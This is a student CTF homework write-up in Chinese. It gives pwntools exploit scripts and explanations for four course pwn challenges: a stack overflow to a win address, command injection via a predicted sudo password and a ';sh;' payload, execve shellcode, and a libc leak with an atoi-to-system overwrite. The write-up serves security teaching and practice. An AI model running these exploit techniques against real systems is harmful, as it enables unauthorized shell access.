---
# System prepended metadata

title: 攻防 HW1 Write Up---第15組(extra)

---

# 攻防 HW1 Write Up---第15組(extra)

##### 107201017 莫耀智
##### 107201019 陳宇揚
##### 107201023 蔡沐霖

## helloCTF_revenge





解答:
``` python=1
from pwn import *

context.arch='amd64'

#p=process('./distribute/share/helloctf_revenge')
p=remote('140.115.59.7',10001)
pause()

magic=0x401263
#ret=0x40125a

payload=flat(b"yes\0",cyclic(0x14),magic)

p.sendlineafter(b"Do you like VTuber?\n",payload)
pause()

p.interactive()
p.close()
```

根據 source code，在輸入之後做了字串長度判斷，而利用gdb可以得知offset為24格，因此在輸入的字串中加入`\0`，在C中 `\0`為判斷字串是否結束，所以playload就塞`yes\0`加上`0x14`個垃圾再塞入magic的位置(`0x40125b`)，然而直接塞magic的位置會出現movaps問題
![](https://i.imgur.com/tSwTta8.png)


推測是`push rbp`時讓`rsp`的位置受到更動，而`movaps`要求位置為16-byte
![](https://i.imgur.com/kYuV7ee.png)
![](https://i.imgur.com/AsfwPlB.png)
因此將magic地址調至 `0x401263`跳過`push rbp`後直接執行 `system call`就可以成功執行並拿到shell



![](https://i.imgur.com/s2GZEPW.png)



## holoshell


``` python=1
from pwn import *
from ctypes import *
from time import *
 
#p=process('./distribute/share/holoshell') 
p = remote('140.115.59.7',10004)


libc = cdll.LoadLibrary('libc.so.6')
libc.srand(int(time()))

#根據source code來解出sudo的密碼
ss=""
s=[str(chr(33+libc.rand() % (126-32) + 1)) for i in range(10)] 
for i in s: ss+=i
ss=bytes(ss,'utf-8')

p.sendlineafter(b"yagoo@hololive:~$ ",b"sudo -s")
p.sendlineafter(b"[sudo] password for yagoo: ",flat(ss,b'";sh;"'))
p.interactive()



print(ss)

```

目標：透過`sudo()`函式中的`system(command)`來進到對方的kernel中。
* Step_1: 我們用`sendlineafter()`在讀到`"yagoo@hololive:~$ "`後輸入`"sudo -s"`，因為我們要進入`parse_command(command)`中的`sudo()`。

* Step_2：為了往下到`system(command)`，需要讓`password`、`passwd`一致。
因為這裡的密碼是偽隨機，我們只需利用跟source code一樣的方法就能解出密碼，在source code中，`passwd`是以`passwd[i] = 33 + (rand() % (126 - 32) + 1) i=1~10`設立的，所以我們在py檔中`password`也用一樣的方法設定就能讓其相同。
(ctypes包的cdll.LoadLibrary(‘libc.so.xxx’)可以在在腳本中加載動態庫，同时又能調用庫中的函數。)

:::info
(在`asprintf(&command, "echo \"%s\" >> HololiveTW.txt", buf)`這行時，會將字串`"echo \"%s\" >> HololiveTW.txt"`存入`&command`中，而下一行`system(command)`才會執行`&command`中的指令。)
:::

* Step_3：執行`echo \"%s\" >> HololiveTW.txt`時，將`s = ";/bin/sh;"`輸入，讓其變成`echo "";/bin/sh;"" >> HololiveTW.txt`，，意思從原本一段指令分為三段指令`echo ""`、`/bin/sh`、`"" >> HololiveTW.txt`，這樣下面就會執行`system(echo "";/bin/sh;"" >> HololiveTW.txt)`，會將我們送到目標kernel中。

## Peko
目標是透過`syacall`來呼叫`/bin/sh`

![](https://i.imgur.com/mIE1rMy.png)
![](https://i.imgur.com/wTwIEOJ.png)

這是主要執行部份的組合語言
```
mov    rax, 0x3b
xor    rsi, rsi
xor    rdx, rdx
sub    rbp, 0x2e    ;rbp-0x2e 是/bin/sh的存放位置
mov    rdi, rbp
syscall
```
開頭得用`yes`，否則程式中止然後我們必須繞過檢查，否則程式中止，所以在squeak[ ]中`5+11t,t=0~5`這些位置上的值必須等於`0x87`，所以我們就隨便用一個運算處理，這邊我們用`and cl,0x87`，其他剩餘部份就用nop(`\x90\`)填補

``` python=1
from pwn import *

p=remote('140.115.59.7',10002)
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'


jump=b'\x80\xe1\x87'    #and cl,0x87
payload=b'\x90'*3+jump+b'\x90H\xc7\xc0;\x00\x00\x00'+jump+b'\x90\x90H1\xf6H1\xd2'+jump+b'\x90H\x83\xed.H\x89\xef'+jump+b'\x0f\x05'+b'\x90'*6+jump+b'/bin/sh\x00'+jump


p.sendlineafter(b"I think pekora is the best VTuber. Isn't it?\n",b'yes'+payload)
p.interactive()
```


![](https://i.imgur.com/Bwclvln.png)






## holotool

解答:
``` python=1
from pwn import *

context.arch='amd64'

p=process('./distribute/share/holotool')
#p=remote('140.115.59.7',10005)


lib = ELF('./distribute/share/libc.so.6')
atoi=lib.symbols['atoi']

p.sendlineafter(b"> ",b'1')
p.sendlineafter(b"> ",b'-1')

atoi_address=u64(p.recvline().strip().split(b': ')[1].ljust(8,b'\x00'))
base=atoi_address-atoi


success('address : 0x%x',atoi_address)
success('libc base : 0x%x',base)

sh=next(lib.search(b'/bin/sh'))+base
success('sh: 0x%x',sh)
system=base + lib.symbols['system']
success('sys: 0x%x',system)

p.sendlineafter(b"> ",b'2')
p.sendlineafter(b"idx> ",b'-1')
p.sendlineafter(b"> ",b'1')
p.sendlineafter(b": ",p64(system))
p.sendlineafter(b"> ",b'sh')

pause()

p.interactive()
```

目標透過更改`atoi lib`的地址使程式可以使用`system lib function`，讀程式碼可以看到`show info` 沒有擋負數，因此可以輸入-1來印出atoi的地址。

![](https://i.imgur.com/yW8ckuy.png)
 因此使用 `recvline`將數值接起來在座字串處理
 接下來要算`base`的位置，可以利用`gdb`直接計算，或是利用`pwntool`來計算。算出base的位置後就可以推出`system`的位置。抓到system的位置後就使用`edit info`來更改atoi的位置，讓他回傳以後會直接return到system裡面，之後輸入sh就可以拿到shell了
 
 ![](https://i.imgur.com/VOaZpzp.png)
